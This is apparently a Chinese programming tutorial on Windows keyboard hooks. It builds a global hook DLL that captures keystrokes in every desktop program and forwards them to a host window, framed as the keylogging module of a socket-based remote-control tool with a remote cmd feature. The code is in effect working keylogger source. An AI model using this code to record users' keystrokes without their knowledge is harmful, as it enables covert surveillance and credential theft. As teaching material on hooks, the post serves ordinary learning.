发布时间:2025-12-09 11:46:27 浏览次数:5
HOOK 钩子
HHOOK SetWindowsHookEx( int idHook, // hook type HOOKPROC lpfn, // hook procedure HINSTANCE hMod, // handle to application instance DWORD dwThreadId // thread identifier);键盘钩子
WH_KEYBOARD钩全局/钩本地
钩子链,谁最后下钩子,谁最先被调用
void CHOOKMFCDlg::OnBnClickedHook(){ // TODO: 在此添加控件通知处理程序代码 g_hhk = SetWindowsHookEx(WH_KEYBOARD, //钩子类型 (HOOKPROC)KeyboardProc, //回调函数 NULL, //表示第三方注入的DLL,全局钩子使用 GetCurrentThreadId() //线程id,0表示钩所有桌面程序 ); if (g_hhk == NULL) { AfxMessageBox(_T("下钩子失败")); return; } //否则就成功}HHOOK g_hhk;//键盘钩子回调函数LRESULT CALLBACK KeyboardProc(int code, // hook code WPARAM wParam, // virtual-key code LPARAM lParam // keystroke-message information ){ //调试输出工具,输出调试字符串 //写日志 OutputDebugStringA("keyboard pressed!"); //调用下一个钩子 return CallNextHookEx(g_hhk, code, wParam, lParam);}
这里我按一下但是会显示两次,因为键盘按下和弹起是两个动作
全局钩子需要一个DLL(动态链接库),程序依赖库,库提供了某些函数,我们需要编写一个dll,将hook函数放在dll中,然后让操作系统去使用该dll,让其钩住其他进程得键盘消息。
exe(调用钩子函数) + Dll(编写钩子函数)
DLL
// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "stdafx.h"#include <stdio.h>//提供钩子回调函数HHOOK g_hhk;HMODULE g_hModule;//键盘钩子回调函数LRESULT CALLBACK KeyboardProc(int code, // hook code WPARAM wParam, // virtual-key code LPARAM lParam // keystroke-message information ){ //调试输出工具,输出调试字符串 //写日志 //OutputDebugStringA("keyboard pressed!"); //虚拟键 我们键盘在我们windows中用一些宏来表示 unsigned int nVKCode = wParam; //表示按了a-z char szBuf[256] = { 0 }; if (nVKCode >= 'A' && nVKCode <= 'Z'){ sprintf_s(szBuf, "%c pressed", nVKCode); OutputDebugStringA(szBuf); } //调用下一个钩子 return CallNextHookEx(g_hhk, code, wParam, lParam);}//dll导出函数,提供给其他程序使用BOOL MySetHook(){ g_hhk = SetWindowsHookEx(WH_KEYBOARD, //钩子类型 (HOOKPROC)KeyboardProc, //回调函数 g_hModule, //表示第三方注入的DLL,全局钩子使用,dll的模块句柄 0 //线程id,0表示钩所有桌面程序 ); if (g_hhk == NULL){ return FALSE; } return TRUE;}BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { //当dll被加载时调用 //编写初始化操作 g_hModule = hModule; } break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: { //当dll被释放时候调用 //编写反初始化操作 } break; } return TRUE;}服务端—socket—-客户端
1.cmd功能<---管道----cmd 2.键盘记录<--- ----dll(keyboard hook) 最简单的进程通信:发送消息WM_COPYDATA 这里我们创建一个win32项目 function.h
#pragma once//创建socketint insocket();function.cpp
#include "stdafx.h"#include "function.h"#include <winSock2.h>#include <windows.h>#pragma comment(lib,"ws2_32.lib")SOCKET s;int insocket(){ //初始化 WORD wVersionRequested; WSADATA wsaData; int err; wVersionRequested = MAKEWORD(2, 2); err = WSAStartup(wVersionRequested, &wsaData); if (err != 0) { return 0; } //创建套字节 s = socket(AF_INET, SOCK_STREAM , 0); if (INVALID_SOCKET == s) { return 0; } // 绑定套字节 sockaddr_in soadder; soadder.sin_family = AF_INET; soadder.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); soadder.sin_port = htons(10087); int len = sizeof(sockaddr_in); return 1;}创建一个函数insocket()用来创建socket
然后在win32项目写入连接
int nRte = insocket(); if (nRte == 0) { OutputDebugStringA("error"); return 0; } //connent sockaddr_in soadder = { 0 }; soadder.sin_family = AF_INET; int len = sizeof(sockaddr_in); soadder.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); soadder.sin_port = htons(10087); nRte = connect(s, (sockaddr*)&soadder, len); if (SOCKET_ERROR == nRte) { return 0; }创建全局句柄用来获取win32句柄给dll使用,因为dll里面获取键盘内容要发送给客户端所以要获取客户端句柄
g_hWnd = hWnd; BOOL bRet = MySetHook(g_hWnd); if (!bRet){ OutputDebugStringA("set hook error"); return 0; }然后在回调函数里面进行处理
case WM_COPYDATA: { //表示我们dll发送的数据,我们在这里接受并处理 PCOPYDATASTRUCT pcds = (PCOPYDATASTRUCT)lParam; OutputDebugStringA((LPCSTR)pcds->lpData); }然后是dll代码
// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "stdafx.h"#include <stdio.h>//提供钩子回调函数HHOOK g_hhk;HMODULE g_hModule;HWND g_hWnd;//键盘钩子回调函数LRESULT CALLBACK KeyboardProc(int code, // hook code WPARAM wParam, // virtual-key code LPARAM lParam // keystroke-message information ){ //调试输出工具,输出调试字符串 //写日志 //OutputDebugStringA("keyboard pressed!"); //虚拟键 我们键盘在我们windows中用一些宏来表示 unsigned int nVKCode = wParam; //表示按了a-z char szBuf[256] = { 0 }; if (nVKCode >= 'A' && nVKCode <= 'Z'){ sprintf_s(szBuf, "%c pressed", nVKCode); //OutputDebugStringA(szBuf); //改成向我们主窗口发送我们的键盘消息,WM_DATACOPY消息 COPYDATASTRUCT cds; cds.dwData = 0; cds.cbData =strlen(szBuf)+1; //表示数据的长度 cds.lpData = szBuf; //表示数据 SendMessage(g_hWnd, //向目标窗口发送消息 WM_COPYDATA, (WPARAM)g_hWnd, //表示当前自己的窗口句柄,可以不写 (LPARAM)&cds //构建一个结构体用于将数据传输 ); } //调用下一个钩子 return CallNextHookEx(g_hhk, code, wParam, lParam);}//dll导出函数,提供给其他程序使用BOOL MySetHook(HWND hWnd){ g_hWnd = hWnd; g_hhk = SetWindowsHookEx(WH_KEYBOARD, //钩子类型 (HOOKPROC)KeyboardProc, //回调函数 g_hModule, //表示第三方注入的DLL,全局钩子使用,dll的模块句柄 0 //线程id,0表示钩所有桌面程序 ); if (g_hhk == NULL){ return FALSE; } return TRUE;}BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { //当dll被加载时调用 //编写初始化操作 g_hModule = hModule; } break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: { //当dll被释放时候调用 //编写反初始化操作 } break; } return TRUE;}